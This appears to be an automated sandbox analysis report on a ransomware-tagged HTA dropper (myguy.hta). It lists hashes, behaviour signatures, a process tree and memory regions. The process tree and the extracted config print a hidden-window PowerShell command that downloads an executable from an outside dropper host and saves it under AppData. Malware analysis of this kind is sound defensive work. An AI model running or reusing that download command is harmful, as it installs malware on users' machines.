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18-06-2024 13:45

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Analysis

  • max time kernel
    110s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-06-2024 13:45

General

  • Target

    Documents/Ransomware.Petrwrap/Ransomware.Petrwrap/myguy.hta

  • Size

    13KB

  • MD5

    0487382a4daf8eb9660f1c67e30f8b25

  • SHA1

    736752744122a0b5ee4b95ddad634dd225dc0f73

  • SHA256

    ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6

  • SHA512

    e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106

  • SSDEEP

    192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://french-cooking.com/myguy.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Documents\Ransomware.Petrwrap\Ransomware.Petrwrap\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 1360
      2⤵
      • Program crash
      PID:4912
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\55589.exe');
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4004
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2808 -ip 2808
    1⤵
      PID:3512

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atafwejs.gr1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4004-3-0x0000000070DA0000-0x0000000071550000-memory.dmp

      Filesize

      7.7MB

    • memory/4004-13-0x0000000005530000-0x0000000005884000-memory.dmp

      Filesize

      3.3MB

    • memory/4004-0-0x0000000070DAE000-0x0000000070DAF000-memory.dmp

      Filesize

      4KB

    • memory/4004-4-0x0000000004B60000-0x0000000004B82000-memory.dmp

      Filesize

      136KB

    • memory/4004-5-0x0000000005290000-0x00000000052F6000-memory.dmp

      Filesize

      408KB

    • memory/4004-6-0x0000000070DA0000-0x0000000071550000-memory.dmp

      Filesize

      7.7MB

    • memory/4004-7-0x00000000054C0000-0x0000000005526000-memory.dmp

      Filesize

      408KB

    • memory/4004-2-0x0000000004C60000-0x0000000005288000-memory.dmp

      Filesize

      6.2MB

    • memory/4004-1-0x00000000045F0000-0x0000000004626000-memory.dmp

      Filesize

      216KB

    • memory/4004-18-0x0000000005B10000-0x0000000005B2E000-memory.dmp

      Filesize

      120KB

    • memory/4004-19-0x0000000005B50000-0x0000000005B9C000-memory.dmp

      Filesize

      304KB

    • memory/4004-20-0x0000000007340000-0x00000000079BA000-memory.dmp

      Filesize

      6.5MB

    • memory/4004-21-0x0000000006040000-0x000000000605A000-memory.dmp

      Filesize

      104KB

    • memory/4004-24-0x0000000070DA0000-0x0000000071550000-memory.dmp

      Filesize

      7.7MB